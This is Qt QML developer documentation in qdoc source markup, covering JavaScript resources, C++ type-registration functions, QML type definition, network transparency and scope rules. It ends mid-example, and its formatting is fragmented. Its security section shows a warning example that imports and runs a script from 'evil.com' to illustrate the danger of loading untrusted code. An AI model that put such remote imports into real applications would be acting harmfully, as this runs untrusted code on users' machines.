```

```
// my_button_impl.js
```

```
var clickCount = 0; // this state is separate for each instance of MyButton
```

```
function onClicked(btn) {
```

```
    clickCount += 1;
```

```
    if ((clickCount % 5) == 0) {
```

```
        obj.color = Qt.rgb(1,0,0);
```

```
    } else {
```

```
        obj.color = Qt.rgb(0,1,0);
```

```
    }
```

```
}  
  
\endqml
```

In general, simple logic should be defined in-line in the QML file, but more complex logic should be separated into code-behind implementation resources for maintainability and readability.

#### `\section1 Shared JavaScript Resources (Libraries)`

Some JavaScript files act more like libraries - they provide a set of helper functions that take input and compute output, but never manipulate QML component instances directly.

As it would be wasteful for each QML component instance to have a unique copy of these libraries, the JavaScript programmer can indicate a particular file is a shared library through the use of a pragma, as shown in the following example.

```
\code  
  
// factorial.js  
  
.pragma library  
  
var factorialCount = 0;  
  
function factorial(a) {  
    a = parseInt(a);
```

```

// factorial recursion

if (a > 0)

    return a * factorial(a - 1);

// shared state

factorialCount += 1;

// recursion base-case.

return 1;
}

function factorialCallCount() {

    return factorialCount;

}

\endcode

```

The pragma declaration must appear before any JavaScript code excluding comments.

Note that multiple QML documents can import `\c{"factorial.js"}` and call the `factorial` and `factorialCallCount` functions that it provides. The state of the JavaScript import is shared across the QML documents which import it, and thus the return value of the `factorialCallCount` function may be non-zero when called within a QML document which never calls the `factorial` function.

For example:

```
\qml
// Calculator.qml

import QtQuick 2.0

import "factorial.js" as FactorialCalculator // this JavaScript resource is only ever loaded once by the
engine, even if multiple instances of Calculator.qml are created
```

```
Text {
    width: 500
    height: 100
    property int input: 17
    text: "The factorial of " + input + " is: " + FactorialCalculator.factorial(input)
}

\endqml
```

As they are shared, .pragma library files cannot access QML component instance objects or properties directly, although QML values can be passed as function parameters.

```

\page qtqml-javascript-topic.html

\title Integrating QML and JavaScript

\brief Description of how to use JavaScript in QML applications

The QML language uses a JSON-like syntax and allows various expressions and methods to be defined as JavaScript functions. It also allows users to import JavaScript files and use the functionality those imports provide.

This allows developers and designers to leverage the knowledge they have of JavaScript to quickly develop both user-interfaces and application logic.

\section1 JavaScript Expressions

QML has a deep JavaScript integration, and allows \{Signal Attributes} {signal handlers} and \{Method Attributes}{methods} to be defined in JavaScript. Another core feature of QML is the ability to specify and enforce relationships between object properties using \{Property Binding}{property bindings}, which are also defined using JavaScript.

See the documentation page titled

\{qtqml-javascript-expressions.html}{JavaScript Expressions in QML Documents} for more information about using JavaScript expressions in QML.

\section1 JavaScript Resources

Application logic defined in JavaScript functions may be separated into

separate JavaScript files known as JavaScript resources. There are several different kinds of JavaScript resources, with different semantics.

See the documentation page titled `\{qml-javascript-resources.html}` {Defining JavaScript Resources In QML} for more information about defining JavaScript resources for QML.

## `\section1 JavaScript Imports`

A QML document may import JavaScript resources, and JavaScript resources may import other JavaScript resources as well as QML modules. This allows an application developer to provide application logic in modular, self-contained files.

See the documentation page titled `\{qml-javascript-imports.html}`{Importing JavaScript Resources} for more information on how to import JavaScript resources and how to use the functionality they provide.

## `\section1 JavaScript Host Environment`

The QML engine provides a JavaScript environment that has some differences to the JavaScript environment provided by a web browser. Certain limitations apply to code running in the environment, and the QML engine provides various objects in the root context which may be unfamiliar to JavaScript developers.

These limitations and extensions are documented in the description of the  
\\{qtqml-javascript-hostenvironment.html}\\{JavaScript Host Environment} provided  
by the QML engine.

\*\*

\*\*\*\*\*/

/\*!

\macro QML\_DECLARE\_TYPE()

\relates QQmlEngine

Equivalent to \c Q\_DECLARE\_METATYPE(TYPE \*) and \c  
Q\_DECLARE\_METATYPE(QQmlListProperty<TYPE>)

#include <QtQml> to use this macro.

\*/

/\*!

\macro QML\_DECLARE\_TYPEINFO(Type,Flags)

\relates QQmlEngine

Declares additional properties of the given \a Type as described by the  
specified \a Flags.

Current the only supported type info is `\c QML_HAS_ATTACHED_PROPERTIES` which declares that the `\a Type` supports `\l {Attached Properties and Attached Signal Handlers}` {attached properties}.

`#include <QtQml>` to use this macro.

`*/`

`/*!`

`\fn void qmlClearTypeRegistrations()`

`\relates QQmlEngine`

Clears all stored type registrations, such as those produced with `\l qmlRegisterType()`.

Do not call this function while a `QQmlEngine` exists or behavior will be undefined.

Any existing `QQmlEngines` must be deleted before calling this function. This function only affects the application global cache. Delete the `QQmlEngine` to clear all cached data relating to that engine.

`#include <QtQml>` to use this method.

`*/`

`/*!`

`\fn int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName)`

`\relates QQmlEngine`

This template function registers the C++ type in the QML system with the name `\a qmlName`, in the library imported from `\a uri` having the version number composed from `\a versionMajor` and `\a versionMinor`.

Returns the QML type id.

There are two forms of this template function:

`\code`

```
template<typename T>
```

```
int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName);
```

```
template<typename T, int metaObjectRevision>
```

```
int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName);
```

`\endcode`

The former is the standard form which registers the type `\e T` as a new type.

The latter allows a particular revision of a class to be registered in a specified version (see `\l {Type Revisions and Versions}`).

For example, this registers a C++ class `\c MySliderItem` as a QML type named `\c Slider` for version 1.0 of a type namespace called `"com.mycompany.qmlcomponents"`:

```
\code
```

```
#include <QtQml>
```

```
...
```

```
qmlRegisterType<MySliderItem>("com.mycompany.qmlcomponents", 1, 0, "Slider");
```

```
\endcode
```

Once this is registered, the type can be used in QML by importing the specified type namespace and version number:

```
\qml
```

```
import com.mycompany.qmlcomponents 1.0
```

```
Slider {
```

```
    // ...
```

```
}
```

```
\endqml
```

Note that it's perfectly reasonable for a library to register types to older versions than the actual version of the library. Indeed, it is normal for the new library to allow QML written to previous versions to continue to work, even if more advanced versions of some of its types are available.

```
*/
```

```
/*!
```

```
\fn int qmlRegisterRevision(const char *uri, int versionMajor, int versionMinor)
```

```
\relates QQmlEngine
```

This template function registers the specified revision of a C++ type in the QML system with the library imported from \a uri having the version number composed from \a versionMajor and \a versionMinor.

Returns the QML type id.

```
\code
```

```
template<typename T, int metaObjectRevision>
```

```
int qmlRegisterRevision(const char *uri, int versionMajor, int versionMinor);
```

```
\endcode
```

This function is typically used to register the revision of a base class to use for the specified version of the type (see \l {Type Revisions and Versions}).

```
*/
```

```
/*!
```

```
\fn int qmlRegisterUncreatableType(const char *uri, int versionMajor, int versionMinor, const char *qmlName, const QString& message)
```

```
\relates QQmlEngine
```

This template function registers the C++ type in the QML system with

the name `\a qmlName`, in the library imported from `\a uri` having the version number composed from `\a versionMajor` and `\a versionMinor`.

While the type has a name and a type, it cannot be created, and the given error `\a message` will result if creation is attempted.

This is useful where the type is only intended for providing attached properties or enum values.

Returns the QML type id.

`#include <QtQml>` to use this function.

```
\sa qmlRegisterTypeNotAvailable()
```

```
*/
```

```
/*!
```

```
\fn int qmlRegisterExtendedUncreatableType(const char *uri, int versionMajor, int versionMinor, const char *qmlName, const QString& message)
```

```
\relates QQmlEngine
```

This template function registers the C++ type and its extension in the QML system with the name `\a qmlName` in the library imported from `\a uri` having version number composed from `\a versionMajor` and `\a versionMinor`.

While the type has a name and a type, it cannot be created, and the

given error \a message will result if creation is attempted.

This is useful where the type is only intended for providing attached properties, enum values or an abstract base class with its extension.

Returns the QML type id.

#include <QtQml> to use this function.

```
\sa qmlRegisterUncreatableType()
```

```
*/
```

```
/*!
```

```
\fn int qmlRegisterCustomExtendedType(const char *uri, int versionMajor, int versionMinor, const char  
*qmlName, QQmlCustomParser *parser)
```

```
\relates QQmlEngine
```

This template function registers the C++ type and its extension in the QML system with the name \a qmlName in the library imported from \a uri having version number composed from \a versionMajor and \a versionMinor. Properties from the C++ type or its extension that cannot be resolved directly by the QML system will be resolved using the \a parser provided.

Returns the QML type id.

```
#include <QtQml> to use this function.
```

```
*/
```

```
/*!
```

```
\fn int qmlRegisterTypeNotAvailable(const char *uri, int versionMajor, int versionMinor, const char  
*qmlName, const QString& message)
```

```
\relates QQmlEngine
```

This function registers a type in the QML system with the name \a qmlName, in the type namespace imported from \a uri having the

version number composed from \a versionMajor and \a versionMinor, but any attempt to instantiate the type

will produce the given error \a message.

Normally, the types exported by a plugin should be fixed. However, if a C++ type is not available, you should

at least "reserve" the QML type name, and give the user of the unavailable type a meaningful error message.

Returns the QML type id.

Example:

```
\code
```

```
#ifdef NO_GAMES_ALLOWED
```

```
qmlRegisterTypeNotAvailable("MinehuntCore", 0, 1, "Game", "Get back to work, slacker!");
```

```
#else
```

```
qmlRegisterType<MinehuntGame>("MinehuntCore", 0, 1, "Game");  
  
#endif  
  
\endcode
```

This will cause any QML which imports the "MinehuntCore" type namespace and attempts to use the type to produce an error message:

```
\code  
  
fun.qml: Get back to work, slacker!  
  
    Game {  
        ^  
  
\endcode
```

Without this, a generic "Game is not a type" message would be given.

#include <QtQml> to use this function.

```
\sa qmlRegisterUncreatableType()  
  
*/  
  
/*!  
  
\fn int qmlRegisterType()  
  
\relates QQmlEngine  
  
\overload
```

This template function registers the C++ type in the QML system. Instances of this type cannot be created from the QML

system.

#include <QtQml> to use this function.

Returns the QML type id.

\*/

/\*!

\fn int qmlRegisterInterface(const char \*typeName)

\relates QQmlEngine

This template function registers the C++ type in the QML system  
under the name \a typeName.

#include <QtQml> to use this function.

Returns the QML type id.

\*/

/\*!

\fn int qmlRegisterSingletonType(const char \*uri, int versionMajor, int versionMinor, const char  
\*typeName, QJSValue (\*callback)(QQmlEngine \*, QJSEngine \*))

\relates QQmlEngine

This function may be used to register a singleton type provider \a callback in a particular \a uri  
and \a typeName with a version specified in \a versionMajor and \a versionMinor.

Installing a singleton type allows developers to provide arbitrary functionality (methods and properties) to a client without requiring individual instances of the type to be instantiated by the client.

A singleton type may be either a QObject or a QJSValue.

This function should be used to register a singleton type provider function which returns a QJSValue as a singleton type.

**{NOTE:}** QJSValue singleton type properties will **{not}** trigger binding re-evaluation if changed.

Usage:

// First, define the singleton type provider function (callback).

```
static QJSValue example_qjsvalue_singletontype_provider(QQmlEngine *engine, QJSEngine
*scriptEngine)
```

```
{
```

```
    Q_UNUSED(engine)
```

```
    static int seedValue = 5;
```

```
    QJSValue example = scriptEngine->newObject();
```

```
    example.setProperty("someProperty", seedValue++);
```

```
    return example;
```

```
}
```

// Second, register the singleton type provider with QML by calling this function in an initialization function.

```

#include <QtQml>

...

qmlRegisterSingletonType("Qt.example.qjsvalueApi", 1, 0, "MyApi",
example_qjsvalue_singletontype_provider);

...

\endcode

```

In order to use the registered singleton type in QML, you must import the singleton type.

```

\qml

import QtQuick 2.0

import Qt.example.qjsvalueApi 1.0 as ExampleApi

Item {

    id: root

    property int someValue: ExampleApi.MyApi.someProperty

}

\endqml

*/

/*!

\fn Object *qmlAttachedPropertiesObject(const QObject *attachee, bool create = true)

\relates QQmlEngine

```

The form of this template function is:

```

\code

```

```
template<typename T> QObject *qmlAttachedPropertiesObject(const QObject *attachee, bool create
= true)
```

```
\endcode
```

This returns the attached object instance that has been attached to the specified

\a attachee by the attaching type \e T.

If \a create is true and type \e T is a valid attaching type, this creates and returns a new attached object instance.

Returns 0 if type \e T is not a valid attaching type, or if \a create is false and no attachment object instance has previously been created for \a attachee.

```
\sa {Providing Attached Objects for Data Annotations}
```

```
*/
```

```
/*!
```

```
\fn int qmlRegisterSingletonType(const char *uri, int versionMajor, int versionMinor, const char
*typeName, QObject *(*callback)(QQmlEngine *, QJSEngine *))
```

```
\relates QQmlEngine
```

This function may be used to register a singleton type provider \a callback in a particular \a uri and \a typeName with a version specified in \a versionMajor and \a versionMinor.

Installing a singleton type into a uri allows developers to provide arbitrary functionality

(methods and properties) to clients without requiring individual instances of the type to be instantiated by the client.

A singleton type may be either a QObject or a QJSValue.

This function should be used to register a singleton type provider function which returns a QObject of the given type T as a singleton type.

A QObject singleton type may be referenced via the type name with which it was registered, and this typename may be used as the target in a \l Connections type or otherwise used as any other type id would.

One exception to this is that a QObject singleton type property may not be aliased (because the singleton type name does not identify an object within the same component as any other item).

**{NOTE:}** A QObject singleton type instance returned from a singleton type provider is owned by the QML

engine. For this reason, the singleton type provider function should **{not}** be implemented as a singleton factory.

Usage:

// First, define your QObject which provides the functionality.

```
class SingletonTypeExample : public QObject
```

```
{
```

```
    Q_OBJECT
```

```
    Q_PROPERTY(int someProperty READ someProperty WRITE setSomeProperty NOTIFY  
somePropertyChanged)
```

public:

```
SingletonTypeExample(QObject* parent = 0)
```

```
    : QObject(parent), m_someProperty(0)
```

```
{
```

```
}
```

```
~SingletonTypeExample() {}
```

```
Q_INVOKABLE int doSomething() { setSomeProperty(5); return m_someProperty; }
```

```
int someProperty() const { return m_someProperty; }
```

```
void setSomeProperty(int val) { m_someProperty = val; emit somePropertyChanged(val); }
```

signals:

```
void somePropertyChanged(int newValue);
```

private:

```
int m_someProperty;
```

```
};
```

// Second, define the singleton type provider function (callback).

```
static QObject *example_qobject_singletontype_provider(QQmlEngine *engine, QJSEngine  
*scriptEngine)
```

```
{
```

```
    Q_UNUSED(engine)
```

```
    Q_UNUSED(scriptEngine)
```

```

SingletonTypeExample *example = new SingletonTypeExample();

return example;
}

```

// Third, register the singleton type provider with QML by calling this function in an initialization function.

```

#include <QtQml>

...

qmlRegisterSingletonType<SingletonTypeExample>("Qt.example.qobjectSingleton", 1, 0, "MyApi",
example_qobject_singletontype_provider);

...

\endcode

```

In order to use the registered singleton type in QML, you must import the singleton type.

```

\qml

import QtQuick 2.0

import Qt.example.qobjectSingleton 1.0

Item {

    id: root

    property int someValue: MyApi.someProperty

    Component.onCompleted: {

        someValue = MyApi.doSomething()

    }

}

```

```
\endqml
```

Since singleton types do not have an associated QQmlContext object, then within the functions of a QObject-derived

type that is registered as a singleton type implementation the QML context and engine information is not available.

The QQmlEngine::contextForObject() function returns NULL when supplied with a pointer to an QObject that

implements a singleton type.

Extending the above example:

```
\code
```

```
class SingletonTypeExample : public QObject
```

```
{
```

```
...
```

```
Q_INVOKABLE void doSomethingElse()
```

```
{
```

```
    // QML Engine/Context information is not accessible here:
```

```
    Q_ASSERT(QQmlEngine::contextForObject(this) == 0);
```

```
    Q_ASSERT(qmlContext(this) == 0);
```

```
    Q_ASSERT(qmlEngine(this) == 0);
```

```
}
```

```
...
```

```
}
```

```
\endcode
```

```
*/
```

```
/*!
```

```
\fn int qmlRegisterSingletonType(const QUrl &url, const char *uri, int versionMajor, int versionMinor,  
const char *qmlName)
```

```
\relates QQmlEngine
```

This function may be used to register a singleton type with the name `\a qmlName`, in the library imported from `\a uri` having

the version number composed from `\a versionMajor` and `\a versionMinor`. The type is defined by the QML file located at `\a url`.

The url must be an absolute URL, i.e. `url.isRelative() == false`.

In addition the type's QML file must have `pragma Singleton` statement among its import statements.

A singleton type may be referenced via the type name with which it was registered, and this typename may be used as the

target in a `\l Connections` type or otherwise used as any other type id would. One exception to this is that a singleton

type property may not be aliased (because the singleton type name does not identify an object within the same component

as any other item).

Usage:

```
// First, define your QML singleton type which provides the functionality.
```

```
\qml
```

```
pragma Singleton
```

```
import QtQuick 2.0
```

```
Item {
```

```
    property int testProp1: 125
```

```
}
```

```
\endqml
```

```
\code
```

```
// Second, register the QML singleton type by calling this function in an initialization function.
```

```
#include <QtQml>
```

```
...
```

```
qmlRegisterSingletonType(QUrl("file:///absolute/path/SingletonType.qml"),  
"Qt.example.qobjectSingleton", 1, 0, "RegisteredSingleton");
```

```
...
```

```
\endcode
```

In order to use the registered singleton type in QML, you must import the singleton type.

```
\qml
```

```
import QtQuick 2.0
```

```
import Qt.example.qobjectSingleton 1.0
```

```
Item {
```

```
    id: root
```

```
    property int someValue: RegisteredSingleton.testProp1
```

```
}
```

```
\endqml
```

It is also possible to have QML singleton types registered without using the `qmlRegisterSingletonType` function.

That can be done by adding a pragma Singleton statement among the imports of the type's QML file. In addition

the type must be defined in a `qmlDir` file with a `singleton` keyword and the `qmlDir` must be imported by the QML

files using the `singleton`.

`*/`

`/*!`

```
\fn int qmlRegisterType(const QUrl &url, const char *uri, int versionMajor, int versionMinor, const char *qmlName);
```

```
\relates QQmlEngine
```

This function registers a type in the QML system with the name `\a qmlName`, in the library imported from `\a uri` having the

version number composed from `\a versionMajor` and `\a versionMinor`. The type is defined by the QML file located at `\a url`. The

`url` must be an absolute URL, i.e. `url.isRelative() == false`.

Normally QML files can be loaded as types directly from other QML files, or using a `qmlDir` file. This function allows

registration of files to types from C++ code, such as when the type mapping needs to be procedurally determined at startup.

`#include <QtQml>` to use this function.

Returns non-zero if the registration was successful.

`*/`

```
/*!
```

```
\fn bool qmlProtectModule(const char* uri, int majVersion);
```

```
\relates QQmlEngine
```

This function protects a module from having types registered into it. This can be used to prevent other plugins from injecting types into your module. It can also be a performance improvement, as it allows the engine to skip checking for the possibility of new types or plugins when this import is reached.

The performance benefit is primarily seen when registering application specific types from within the application instead of through a plugin. Using `qmlProtectModule` allows the engine to skip checking for a plugin when that uri is imported, which can be noticeable with slow file systems.

After this function is called, any attempt to register C++ types into this uri, major version combination will lead to a runtime error. Call this after you have registered all of your types with the engine.

`#include <QtQml>` to use this function.

Returns true if the module with `\a uri` as a `\{Identified Modules}` {module identifier} and `\a majVersion` as a major version number was found and locked, otherwise returns false. The module must contain exported types

in order to be found.

\page qtqml-documents-definetypes.html

\title Defining Object Types through QML Documents

\brief Description of how a QML document is a reusable type definition

One of the core features of QML is that it enables QML object types to be easily defined in a lightweight manner through QML documents to suit the needs of individual QML applications. The standard \l {Qt Quick} module provides various types like \l Rectangle, \l Text and \l Image for building a QML application; beyond these, you can easily define your own QML types to be reused within your application. This ability to create your own types forms the building blocks of any QML application.

\section1 Defining an Object Type with a QML File

To create an object type, a QML document should be placed into a text file named as \e <TypeName>.qml where \e <TypeName> is the desired name of the type, which must be comprised of alphanumeric characters or underscores and beginning with an uppercase letter. This document is then automatically recognized by the engine as a definition of a QML type. Additionally, a type defined in this manner is automatically made available to other QML files within the same directory as the engine searches within the immediate directory when resolving QML type names.

For example, below is a document that declares a \l Rectangle with a child \l MouseArea. The document has been saved to file named \c SquareButton.qml:

```

\qml

// SquareButton.qml

import QtQuick 2.0

Rectangle {

    width: 100; height: 100

    color: "red"

    MouseArea {

        anchors.fill: parent

        onClicked: console.log("Button clicked!")

    }

}

\endqml

```

Since the file is named `\c SquareButton.qml`, `\b` {this can now be used as a type named `\c SquareButton` by any other QML file within the same directory}. For example, if there was a `\c myapplication.qml` file in the same directory, it could refer to the `\c SquareButton` type:

```

\qml

// myapplication.qml

import QtQuick 2.0

SquareButton {}

\endqml

```

This creates a 100 x 100 red `Rectangle` with an inner `MouseArea`, as defined in `SquareButton.qml`. When this `myapplication.qml` document is loaded by the engine, it loads the `SquareButton.qml` document as a component and instantiates it to create a `SquareButton` object.

The `SquareButton` type encapsulates the tree of QML objects declared in `SquareButton.qml`. When the QML engine instantiates a `SquareButton` object from this type, it is instantiating an object from the `Rectangle` tree declared in `SquareButton.qml`.

Note the letter case of the file name is significant on some (notably UNIX) filesystems. It is recommended the file name case matches the case of the desired QML type name exactly - for example, `Box.qml` and not `BoX.qml` - regardless of the platform to which the QML type will be deployed.

## Importing Types Defined Outside the Current Directory

If `SquareButton.qml` was not in the same directory as `myapplication.qml`,

the `SquareButton` type would need to be specifically made available through an `import` statement in `myapplication.qml`. It could be imported from a relative path on the file system, or as an installed module; see [QML Modules](#) for more details.

## Accessible Attributes of Custom Types

The `root object` definition in a `.qml` file defines the attributes that are available for a QML type. All properties, signals and methods that belong to this root object - whether they are custom declared, or come from the QML type of the root object - are externally accessible and can be read and modified for objects of this type.

For example, the root object type in the `\c SquareButton.qml` file above is `\l Rectangle`. This means any properties defined by the `\l Rectangle` type can be modified for a `\c SquareButton` object. The code below defines three `\c SquareButton` objects with customized values for some of the properties of the root `\l Rectangle` object of the `\c SquareButton` type:

```
\qml
```

```
// application.qml
```

```
import QtQuick 2.0
```

```
Column {
```

```
    SquareButton { width: 50; height: 50 }
```

```
    SquareButton { x: 50; color: "blue" }
```

```
    SquareButton { radius: 10 }
```

```
}
```

```
\endqml
```

```
\image documents-definetypes-attributes.png
```

The attributes that are accessible to objects of the custom QML type include any `\l{Defining Property Attributes}{custom properties}`, `\l{Defining Method Attributes}{methods}` and `\l{Defining Signal Attributes}{signals}` that have additionally been defined for an object. For example, suppose the `\l Rectangle` in `\c SquareButton.qml` had been defined as follows, with additional properties, methods and signals:

```
\qml
```

```
// SquareButton.qml
```

```
import QtQuick 2.0
```

```

Rectangle {

    id: root

    property bool pressed: mouseArea.pressed

    signal buttonClicked(real xPos, real yPos)

    function randomizeColor() {

        root.color = Qt.rgb(Math.random(), Math.random(), Math.random(), 1)

    }

    width: 100; height: 100

    color: "red"

    MouseArea {

        id: mouseArea

        anchors.fill: parent

        onClicked: root.buttonClicked(mouse.x, mouse.y)

    }

}

\endqml

```

Any \c SquareButton object could make use of the \c pressed property, \c buttonClicked signal and \c randomizeColor() method that have been added to the root \l Rectangle:

```

\qml

```

```

// application.qml

import QtQuick 2.0

SquareButton {

    id: squareButton

    onPressedClicked: {

        console.log("Clicked", xPos, yPos)

        randomizeColor()

    }

    Text { text: squareButton.pressed ? "Down" : "Up" }

}

\endqml

```

Note that any of the \c id values defined in \c SquareButton.qml are not accessible to \c SquareButton objects, as id values are only accessible from within the component scope in which a component is declared. The \c SquareButton object definition above cannot refer to \c mouseArea in order to refer to the \l MouseArea child, and if it had an \c id of \c root rather than \c squareButton, this would not conflict with the \c id of the same value for the root object defined in \c SquareButton.qml as the two would be declared within separate scopes.

```
\page qtqml-documents-networktransparency.html
```

```
\title Resource Loading and Network Transparency
```

```
\brief about loading files and resources across a network
```

QML supports network transparency by using URLs (rather than file names) for all references from a QML document to other content. This means that anywhere a URL source is expected, QML can handle remote resources as well as local ones, for example in the following image source:

```
\qml
Image {
    source: "http://www.example.com/images/logo.png"
}
\endqml
```

Since a \e relative URL is the same as a relative file, development of QML on regular file systems remains simple:

```
\qml
Image {
    source: "images/logo.png"
}
\endqml
```

Network transparency is supported throughout QML, for example:

\list

\li Fonts - the \c source property of FontLoader is a URL

\li WebViews - the \c url property of WebView (obviously!)

\endlist

Even QML types themselves can be on the network - if the \l {Prototyping with qmlscene} is used to load

\tt http://example.com/mystuff/Hello.qml and that content refers to a type "World", the engine

will load \tt http://example.com/mystuff/qmldir and resolve the type just as it would for a local file.

For example if the qmldir file contains the line "World World.qml", it will load

\tt http://example.com/mystuff/World.qml

Any other resources that \tt Hello.qml referred to, usually by a relative URL, would

similarly be loaded from the network.

## \section1 Relative vs. Absolute URLs

Whenever an object has a property of type URL (QUrl), assigning a string to that

property will actually assign an absolute URL - by resolving the string against

the URL of the document where the string is used.

For example, consider this content in \tt{http://example.com/mystuff/test.qml}:

\qml

Image {

source: "images/logo.png"

```
}  
  
\endqml
```

The `\Image` source property will be assigned `{http://example.com/mystuff/images/logo.png}`, but while the QML is being developed, in say `C:\User\Fred\Documents\MyStuff\test.qml`, it will be assigned

```
C:\User\Fred\Documents\MyStuff\images\logo.png.
```

If the string assigned to a URL is already an absolute URL, then "resolving" does not change it and the URL is assigned directly.

## `\section1 QRC Resources`

One of the URL schemes built into Qt is the "qrc" scheme. This allows content to be compiled into the executable using `{The Qt Resource System}`. Using this, an executable can reference QML content that is compiled into the executable:

```
\code  
  
    QQuickView *view = new QQuickView;  
  
    view->setUrl(QUrl("qrc:/dial.qml"));  
  
\endcode
```

The content itself can then use relative URLs, and so be transparently unaware that the content is compiled into the executable.

## `\section1` Limitations

The `\c import` statement is only network transparent if it has an "as" clause.

More specifically:

`\list`

`\li \c{import "dir"} only works on local file systems`

`\li \c{import libraryUri} only works on local file systems`

`\li \c{import "dir" as D} works network transparently`

`\li \c{import libraryUrl as U} works network transparently`

`\endlist`

## `\section1` Implications for Application Security

The QML security model is that QML content is a chain of trusted content: the user installs QML content that they trust in the same way as they install native Qt applications, or programs written with runtimes such as Python and Perl. That trust is established by any of a number of mechanisms, including the availability of package signing on some platforms.

In order to preserve the trust of users, QML application developers should not load and execute arbitrary JavaScript or QML resources. For example, consider the QML code below:

`\qml`

```
import QtQuick 2.0

import "http://evil.com/evil.js" as Evil
```

```
Component {

    onLoaded: Evil.doEvil()

}

\endqml
```

This is equivalent to downloading and executing "http://evil.com/evil.exe". \b {The QML engine will not prevent particular resources from being loaded}. Unlike JavaScript code that is run within a web browser, a QML application can load remote or local filesystem resources in the same way as any other native applications, so application developers must be careful in loading and executing any content.

As with any application accessing other content beyond its control, a QML application should perform appropriate checks on any untrusted data it loads. \b {Do not, for example, use \c import, \l Loader or \l XMLHttpRequest to load any untrusted code or content.}

\page qtqml-documents-scope.html

\title Scope and Naming Resolution

\brief overview of scope and naming resolution

QML property bindings, inline functions, and imported JavaScript files all  
run in a JavaScript scope. Scope controls which variables an expression can  
access, and which variable takes precedence when two or more names conflict.

As JavaScript's built-in scope mechanism is very simple, QML enhances it to fit more naturally with the QML language extensions.

## `\section1 JavaScript Scope`

QML's scope extensions do not interfere with JavaScript's natural scoping.

JavaScript programmers can reuse their existing knowledge when programming functions, property bindings or imported JavaScript files in QML.

In the following example, the `\c {addConstant()}` method will add 13 to the parameter passed just as the programmer would expect irrespective of the value of the QML object's `\c a` and `\c b` properties.

`\code`

```
QObject {  
    property int a: 3  
    property int b: 9  
  
    function addConstant(b) {  
        var a = 13;  
        return b + a;  
    }  
}
```

`\endcode`

That QML respects JavaScript's normal scoping rules even applies in bindings.

This totally evil, abomination of a binding will assign 12 to the QML object's

\c a property.

\code

```
QObject {
```

```
    property int a
```

```
    a: { var a = 12; a; }
```

```
}
```

\endcode

Every JavaScript expression, function or file in QML has its own unique

variable object. Local variables declared in one will never conflict

with local variables declared in another.

## \section1 Type Names and Imported JavaScript Files

\l {QML Documents} include import statements that define the type names

and JavaScript files visible to the document. In addition to their use in the

QML declaration itself, type names are used by JavaScript code when accessing

\l {Attached Properties and Attached Signal Handlers}{attached properties} and enumeration values.

The effect of an import applies to every property binding, and JavaScript

function in the QML document, even those in nested inline components. The following example shows a simple QML file that accesses some enumeration values and calls an imported JavaScript function.

\code

```
import QtQuick 2.0
```

```
import "code.js" as Code
```

```
ListView {
```

```
    snapMode: ListView.SnapToItem
```

```
    delegate: Component {
```

```
        Text {
```

```
            elide: Text.ElideMiddle
```

```
            text: "A really, really long string that will require eliding."
```

```
            color: Code.defaultColor()
```

```
        }
```

```
    }
```

```
}
```

\endcode

\section1 Binding Scope Object

An object which has a \l{Property Binding}{property binding} is known as the binding's \e{scope object}. In the following example, the \l Item object is

the binding's scope object.

```
\code
```

```
Item {  
    anchors.left: parent.left  
}
```

```
\endcode
```

Bindings have access to the scope object's properties without qualification.

In the previous example, the binding accesses the `Item`'s `parent` property directly, without needing any form of object prefix. QML introduces a more structured, object-oriented approach to JavaScript, and consequently does not require the use of the JavaScript `this` property.

Care must be used when accessing `{Attached Properties and Attached Signal Handlers}`

`{attached properties}` from bindings due

to their interaction with the scope object. Conceptually attached properties exist on `all` objects, even if they only have an effect on a subset of those.

Consequently unqualified attached property reads will always resolve to an attached property on the scope object, which is not always what the programmer intended.

For example, the `PathView` type attaches interpolated value properties to its delegates depending on their position in the path. As `PathView` only meaningfully attaches these properties to the root object in the delegate, any

sub-object that accesses them must explicitly qualify the root object, as shown below.

\code

```
PathView {  
    delegate: Component {  
        Rectangle {  
            id: root  
            Image {  
                scale: root.PathView.scale  
            }  
        }  
    }  
}
```

\endcode

If the \l Image object omitted the \c root prefix, it would inadvertently access the unset \c {PathView.scale} attached property on itself.

## \section1 Component Scope

Each QML component in a QML document defines a logical scope. Each document has at least one root component, but can also have other inline sub-components. The component scope is the union of the object ids within the component and the component's root object's properties.

```
\code
```

```
Item {
```

```
    property string title
```

```
    Text {
```

```
        id: titletype
```

```
        text: "<b>" + title + "</b>"
```

```
        font.pixelSize: 22
```

```
        anchors.top: parent.top
```

```
    }
```

```
    Text {
```

```
        text: titletype.text
```

```
        font.pixelSize: 18
```

```
        anchors.bottom: parent.bottom
```

```
    }
```

```
}
```

```
\endcode
```

The example above shows a simple QML component that displays a rich text title string at the top, and a smaller copy of the same text at the bottom. The first `Text` type directly accesses the component's `title` property when forming the text to display. That the root type's properties are directly accessible makes it trivial to distribute data throughout the component.

The second `\c Text` type uses an `id` to access the first's text directly. `IDs` are specified explicitly by the QML programmer so they always take precedence over other property names (except for those in the `\l {JavaScript Scope}`). For example, in the unlikely event that the binding's `\l {Binding Scope Object}{scope object}` had a `\c titletype` property in the previous example, the `\c titletype` `id` would still take precedence.

## `\section1 Component Instance Hierarchy`

In QML, component instances connect their component scopes together to form a scope hierarchy. Component instances can directly access the component scopes of their ancestors.

The easiest way to demonstrate this is with inline sub-components whose component scopes are implicitly scoped as children of the outer component.

`\code`

```
Item {  
    property color defaultColor: "blue"
```

```
    ListView {  
        delegate: Component {  
            Rectangle {  
                color: defaultColor
```

```
    }  
    }  
}  
}  
\endcode
```

The component instance hierarchy allows instances of the delegate component to access the `defaultColor` property of the `Item` type. Of course, had the delegate component had a property called `defaultColor` that would have taken precedence.

The component instance scope hierarchy extends to out-of-line components, too. In the following example, the `TitlePage.qml` component creates two `TitleText` instances. Even though the `TitleText` type is in a separate file, it still has access to the `title` property when it is used from within the `TitlePage`. QML is a dynamically scoped language - depending on where it is used, the `title` property may resolve differently.

```
\code  
// TitlePage.qml  
import QtQuick 2.0  
  
Item {  
    property string title  
  
    TitleText {
```

```
    size: 22

    anchors.top: parent.top
}

TitleText {

    size: 18

    anchors.bottom: parent.bottom
}
}
```

```
// TitleText.qml

import QtQuick 2.0

Text {

    property int size

    text: "<b>" + title + "</b>"

    font.pixelSize: size
}

\endcode
```

Dynamic scoping is very powerful, but it must be used cautiously to prevent the behavior of QML code from becoming difficult to predict. In general it should only be used in cases where the two components are already tightly coupled in another way. When building reusable components, it is preferable to use property interfaces, like this:

```
\code
```

```
// TitlePage.qml
```

```
import QtQuick 2.0
